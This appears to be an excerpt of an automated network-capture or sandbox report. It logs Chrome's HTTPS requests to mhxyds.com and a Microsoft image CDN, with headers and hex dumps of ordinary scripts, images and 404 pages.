29 29 3b 76 61 72 20 46 3d 68 2e 6c 6f 61 64 3b 69 66 28 63 2e 71 69 61 6f 29 7b 66 6f 72 28 76 61 72 20 47 3d 5b 22 
68 74 74 70 73 3a 2f 2f 67 6f 75 74 6f 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 73 69 74 65 2f 22 5d 2c 48 3d 63 2e 69 64 
2c 49 3d 35 33 38 31 2c 4a 3d 48 2e 6c 65 6e 67 74 68 2c 4b 
Data Ascii: ers.baidu.com/app/s.js?"];B.push(c.apps);A(B.join(""))}var D=h.s,E=h.load;c.pt&&E([D.protocol,"//ada.baidu.c
om/phone-tracker/insert_bdtj?sid=",c.pt].join(""));var F=h.load;if(c.qiao){for(var G=["https://goutong.baidu.com/site/"]
,H=c.id,I=5381,J=H.length,K

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

169 118.27.105.118 443 192.168.11.20 61867 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8487 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: image/jpeg
Content-Length: 25038
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-61ce"
Expires: Sat, 10 Sep 2022 03:42:55 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:55 UTC 8487 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 00 a0 01 1d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIFHHCC"}!1AQa"q2

2022-08-11 03:42:55 UTC 8503 IN Data Raw: 3e 63 ec 29 09 9e 9d fb 3e de cd f1 97 e3 df 84 f4 b9 a1 65 d1 e6 d4 63 96 56 95 42 28 86 3c c8 fb 13 a0 1b 
54 e5 b9 38 ef 5c af 89 fe 23 78 93 56 f8 89 e2 6f 11 58 6a b7 da 6f fc 24 da 9c f7 ce c6 ec c0 26 06 46 28 06 19 41 0a a7 
1c 16 c6 7b 57 65 fb 31 de af 87 34 df 88 1e 30 b7 59 9a 4f 0c 78 7a e5 21 b8 95 91 58 5c 4e 9f 67 8f 86 3f 2e 3c dc fc e4 
74 e8 05 78 7e a5 ac 5b dc 48 92 5e 5c 4b 3c c5 71 be 31 13 86 03 a7 cf 30 3b bf e0 0a aa 3b 66 86 ee 33 e8 5f 83 70 69 
7f 14 ff 00 6a cf 08 f8 56 6d d1 d9 dd 5e 46 a5 06 59 57 01 a5 90 63 38 01 95 08 c8 e9 92 7b d7 8a 7c 59 f8 e1 71 e3 ef 
8c de 35 f1 13 b4 84 df ea 77 0a 9b 9f 6e 23 12 10 83 0b e8 36 8e bd ab d5 bf 61 4d 4f ed 5f b6 50 d4 a5 11 ec d2 f4 fd 4a 
f4 71 c8 10 d9 ca 41 1f 9e 33 5f 29 e9 77 93 5b 
Data Ascii: >c)>ecVB(<T8\#xVoXjo$&F(A{We140YOxz!X\Ng?.<tx~[H^\K<q10;;f3_pijVm^FYWc8{|Yq5wn#6aMO_PJqA
3_)w[

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 118.27.105.118 443 192.168.11.20 54494 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:40 UTC 155 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:39 GMT
Content-Type: application/javascript
Content-Length: 6797
Last-Modified: Mon, 28 Nov 2016 18:14:40 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7410-1a8d"
Expires: Thu, 11 Aug 2022 15:42:39 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:40 UTC 156 IN Data Raw: 2f 2a 21 20 50 69 63 74 75 72 65 66 69 6c 6c 20 2d 20 76 32 2e 32 2e 30 20 2d 20 32 30 31 34 2d 31 31 2d 
32 37 0a 2a 20 68 74 74 70 3a 2f 2f 73 63 6f 74 74 6a 65 68 6c 2e 67 69 74 68 75 62 2e 69 6f 2f 70 69 63 74 75 72 65 66 
69 6c 6c 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 34 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 
63 6f 6d 2f 73 63 6f 74 74 6a 65 68 6c 2f 70 69 63 74 75 72 65 66 69 6c 6c 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 41 75 74 
68 6f 72 73 2e 74 78 74 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 0a 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 
65 64 69 61 7c 7c 28 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 
65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 77 69 6e 64 6f 
Data Ascii: /*! Picturefill - v2.2.0 - 2014-11-27* http://scottjehl.github.io/picturefill* Copyright (c) 2014 https://github.com/s
cottjehl/picturefill/blob/master/Authors.txt; Licensed MIT */window.matchMedia||(window.matchMedia=function(){"use stric
t";var a=windo
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Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

170 192.168.11.20 55642 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8512 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780

Session ID Source IP Source Port Destination IP
Destination
Port

Process

171 192.168.11.20 61480 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8513 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780

Session ID Source IP Source Port Destination IP
Destination
Port

Process

172 192.168.11.20 49822 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8514 OUT GET /jpg/hero%20peic67d9.jpg?h=368&la=en&mw=656&w=656&hash=4B1B64C75664486C9D64C51258F8B6C
7EEFCB327 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

173 192.168.11.20 64517 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8515 OUT GET /jpg/hero%20peic7c4f.jpg?h=419&la=en&mw=800&w=746&hash=1D7E8F4BD6C5FA5B5C7A265D08D4197
FA72551AA HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

174 118.27.105.118 443 192.168.11.20 58844 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 8666 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:56 UTC 8666 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

175 118.27.105.118 443 192.168.11.20 55642 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 8698 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:56 UTC 8699 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

176 118.27.105.118 443 192.168.11.20 61480 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 8705 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:56 UTC 8705 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

177 192.168.11.20 60512 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 8882 OUT GET /cms/api/am/imageFileData/RE4Rw50?ver=e73b HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-08-11 03:42:56 UTC 8882 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Rw50?ver=e73b
Last-Modified: Tue, 09 Aug 2022 09:39:11 GMT
X-Source-Length: 1609051
X-Datacenter: northeu
X-ActivityId: 60ff6be5-4a7a-43c7-b277-e5231efcb1d9
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1609051
Cache-Control: public, max-age=280511
Expires: Sun, 14 Aug 2022 09:38:07 GMT
Date: Thu, 11 Aug 2022 03:42:56 GMT
Connection: close
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2022-08-11 03:42:56 UTC 8882 IN Data Raw: ff d8 ff e1 1e 72 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 31 3a 31 36 20 31 35 3a 34 32 3a 32 36 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: rExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:16 15:42:268"

2022-08-11 03:42:56 UTC 8898 IN Data Raw: 77 ea 93 6e 03 2c 7d 39 2e 6b ad be 3d 66 d6 6b 0e b5 c7 7b df 8d 53 6c 16 7a 3e a3 ad fd 2e cf 65 59 3f ac 
7a df e8 b3 72 6b 7b b2 28 c4 76 43 da c6 9d ad ac c5 ae 69 73 9a df 4e c1 5b 69 6b ac f5 3d 47 b6 bf fd 1b 7f b0 ce e9 
79 c5 b7 f5 2b 36 5d 66 53 f9 68 d9 53 81 1b ec 34 b1 9e cf 46 b7 39 be 86 cf 4f f4 76 61 e4 d2 ff 00 d3 d7 4a bd 46 03 ce 
50 b9 d8 86 ba dd 5b 85 e5 d5 fa 8e 60 71 68 ab d5 65 df a4 fa 3b 3f 36 f7 ec 65 9f 66 b3 fd 0b 0c 80 3e 3f cb 64 16 88 be 
8a 4d 98 fe 91 fb 4e 21 35 b4 ea f8 32 e6 5d 73 31 cf bf 6f d0 77 b3 d3 f4 bf c3 7a 68 34 ec c8 b2 aa 36 da f1 51 8b 9f 64 
7a 2d 3f 44 5e f6 5d 65 7e ef a7 eb 7a 8f ff 00 ae 29 f5 4e 96 dc 4c a6 32 bb 1b 92 d7 b0 11 7d 44 b4 39 e6 1f 75 75 5f f9 
df 9f fc e7 bf d2 f5 55 4a 8d 8f 71 a2 a0 1d 
Data Ascii: wn,}9.k=fk{Slz>.eY?zrk{(vCisN[ik=Gy+6]fShS4F9OvaJFP[`qhe;?6ef>?dMN!52]s1owzh46Qdz-?D^]e~
z)NL2}D9uu_UJq

2022-08-11 03:42:56 UTC 8914 IN Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 
6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 
75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 
74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 
61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 35 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 
46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 7
4 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 
Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen
_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;2016-07-12T15:15:05-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\PrettyPics\090415_Hallsta

2022-08-11 03:42:56 UTC 8917 IN Data Raw: 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 
6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 35 33 36 35 30 36 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 34 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 6
7 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 38 
39 39 32 37 39 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 
32 36 54 31 30 3a 34 36 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 
Data Ascii: S\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-595365067_1080x1920.jpg saved&#xA;2016-07-
26T10:44:41-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-14899279
4_1080x1920.jpg saved&#xA;2016-07-26T10:46:43-07:00&#x9;F

2022-08-11 03:42:56 UTC 8940 IN Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 
65 5c 4c 69 66 65 63 79 63 6c 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 63 79 63 6c 65 5f 47 65 74 74 79 49 
6d 61 67 65 73 2d 34 36 35 39 37 32 30 37 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 30 38 2d 32 35 54 31 33 3a 32 34 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 
62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 
2d 4c 69 66 65 63 79 63 6c 65 5f 35 30 30 70 78 2d 37 30 37 34 
Data Ascii: e C:\Users\v-lizagh\MS\Windows10\Edge\Lifecycle\_Crops\Edge-Lifecycle_GettyImages-465972071_1080x1
920.jpg saved&#xA;2016-08-25T13:24:54-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop 
CC 2015.5\AutoRecover\_Edge-Lifecycle_500px-7074

2022-08-11 03:42:56 UTC 8956 IN Data Raw: 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 
39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 32 54 
31 35 3a 30 33 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 
4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 32 31 38 31 32 35 37 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 32 54 31 35 3a 30 37 3a 31 33 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
Data Ascii: :37-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2016-10-12T15:03:14-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-21812571_1080x1920.jpg s
aved&#xA;2016-10-12T15:07:13-07:00&#x9;File C:\Users\v-li

2022-08-11 03:42:56 UTC 8964 IN Data Raw: 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 
32 37 54 31 33 3a 32 31 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 
50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 30 32 54 31 36 3a 33 36 
3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 
50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 30 32 54 31 36 3a 34 
31 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
Data Ascii: 8ECD39C4CCFC.psb saved&#xA;2016-10-27T13:21:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windo
ws10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-11-02T16:36:47-07:00&#x9;File Lockscreen_1080x
1920_Portrait.psd opened&#xA;2016-11-02T16:41:24-07:00&#x9;File C:\

2022-08-11 03:42:56 UTC 8980 IN Data Raw: 73 68 2d 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 52 65 77 61 72 64 73 5f 47 65 74 74 79 
